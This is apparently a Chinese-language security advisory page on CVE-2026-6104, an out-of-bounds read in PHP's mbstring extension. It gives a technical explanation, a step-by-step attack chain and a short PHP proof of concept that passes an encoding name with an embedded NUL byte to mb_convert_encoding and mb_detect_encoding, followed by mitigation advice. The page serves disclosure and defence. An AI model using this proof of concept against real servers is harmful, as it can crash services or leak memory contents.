IPBUF安全漏洞报告
English
CVE-2026-6104 CVSS 9.1 严重

CVE-2026-6104 PHP mbstring越界读取漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2026-6104
漏洞类型
越界读取、信息泄露
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHP

相关标签

PHPmbstring越界读取信息泄露CVE-2026-6104

漏洞概述

PHP 8.4.21和8.5.6之前的版本中,mbstring扩展存在严重漏洞。当传入包含嵌入NUL字节的编码名称给特定函数时,由于错误依赖strncasecmp()的返回值判断字符串长度,导致越界读取全局内存。攻击者无需交互即可利用此漏洞,造成服务崩溃或敏感信息泄露。

技术细节

漏洞根源在于PHP mbstring扩展对编码名称的处理逻辑。当strncasecmp()比较两个字符串时,如果前N个字符匹配(包括遇到NUL字节截断的情况),它会返回0。代码错误地将返回值0等同于“字符串完全相等且长度相同”。攻击者通过构造一个包含NUL字节的恶意编码名称(例如 "UTF-8\0extra"),可以绕过长度检查。在后续处理中,程序仅根据NUL字节前的部分读取数据,导致访问指针超出预期分配的内存边界,从而读取全局内存区域的内容。

攻击链分析

STEP 1
侦察
识别使用易受攻击PHP版本(8.4.x < 8.4.21 或 8.5.x < 8.5.6)的目标服务器。
STEP 2
构造攻击载荷
构造包含嵌入NUL字节(\0)的恶意编码名称字符串,准备发送给mbstring相关函数。
STEP 3
发送请求
通过HTTP请求将恶意编码名称传递给目标应用程序的mb_convert_encoding()、mb_detect_encoding()等受影响函数。
STEP 4
触发漏洞
PHP处理输入时,错误解析字符串长度,导致越界读取全局内存,引发信息泄露或进程崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // PoC for CVE-2026-6104: PHP mbstring Out-of-Bounds Read // This script demonstrates passing an encoding name with an embedded NUL byte. // Attempt to trigger the vulnerability in mb_convert_encoding // The specific encoding name depends on the internal logic, but generally involves a NUL byte. $malicious_encoding = "UTF-8\0ExtraJunk"; $text = "Test string"; // This may cause an out-of-bounds read or crash depending on memory layout try { $result = mb_convert_encoding($text, "UTF-8", $malicious_encoding); echo "Conversion succeeded (might not crash on all builds/configs).\n"; } catch (Exception $e) { echo "Exception caught: " . $e->getMessage() . "\n"; } // Another vector: mb_detect_encoding $encodings = [$malicious_encoding, "ASCII"]; $detected = mb_detect_encoding($text, $encodings); echo "Detected encoding: " . $detected . "\n"; ?>

影响范围

PHP 8.4.* < 8.4.21
PHP 8.5.* < 8.5.6

防御指南

临时缓解措施
如果无法立即升级,建议在php.ini中暂时禁用mbstring扩展,或者在调用相关函数前严格验证用户提供的编码名称,确保其不包含空字节(\0),从而阻断攻击路径。

参考链接